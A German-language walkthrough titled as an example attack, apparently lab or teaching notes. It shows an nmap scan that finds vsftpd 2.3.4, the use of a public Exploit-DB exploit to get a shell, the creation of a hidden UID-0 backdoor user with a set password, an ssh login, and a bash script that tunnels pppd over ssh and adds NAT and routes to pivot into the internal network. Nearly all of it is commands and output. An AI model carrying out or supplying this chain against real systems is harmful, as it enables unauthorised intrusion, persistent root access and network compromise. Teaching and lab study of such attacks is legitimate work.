Exemplarischer Angriff

Beispiel

• nmap -sV 10.80.100.105 -p 21

Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 16:56 CEST
Nmap scan report for 10.80.100.105
Host is up (0.00056s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Nach Exploit googlen

vsftpd 2.3 4 exploit-db

Exploit finden

• https://www.exploit-db.com/exploits/49757

Exploit ausführen

• python vsftp.py 10.80.100.105

Success, shell opened
Send `exit` to quit shell

Läuft ssh?

• netstat -lntp | grep 22

tcp6  0      0 :::22   :::*  LISTEN      4360/sshd

User anlegen

• useradd -m -o -u 0 -s /bin/bash -d /var/www www
• passwd www

Enter new UNIX password: www2www
Retype new UNIX password: www2www
passwd: password updated successfully

Einlogen

• ssh www@10.80.100.105 -p 22

VPN einrichten um Zugriff zum Netz zu erlangen

• apt-get install ppp

vpn-gateway

• /usr/local/sbin/vpn-hack

#!/bin/bash
LOG="/var/log/vpn-hack.log"
REMOTE_IP="/tmp/remote-ip"
vpn_hack ()  {
OKT=$(cat $REMOTE_IP | cut -f 1-3 -d .)
rm $REMOTE_IP
LOCAL_NET=10.86.0.0/16
REMOTE_NET=${OKT}.0/24
########
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
ADD_SNAT="/sbin/iptables -t nat -A POSTROUTING -s $LOCAL_NET -j MASQUERADE -o eth0"
FLUSH_SNAT="/sbin/iptables -t nat -F"

     date >> $LOG
     echo $OKT >> $LOG
     echo  "Starting vpn to localhost -p 9922: " >> $LOG
     pppd updetach noauth passive pty "ssh -P localhost -p 9922  -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.3:172.29.29.1 >> $LOG
     ssh -P localhost -p 9922  route  add -net ${LOCAL_NET} gw 172.29.29.3 >> $LOG
     route  add -net ${REMOTE_NET} gw 172.29.29.1 >> $LOG
     ssh -P localhost -p 9922  ${FLUSH_SNAT} >> $LOG
     ssh -P localhost -p 9922  ${ADD_SNAT} >> $LOG

}

if test -f $REMOTE_IP
then
vpn_hack
fi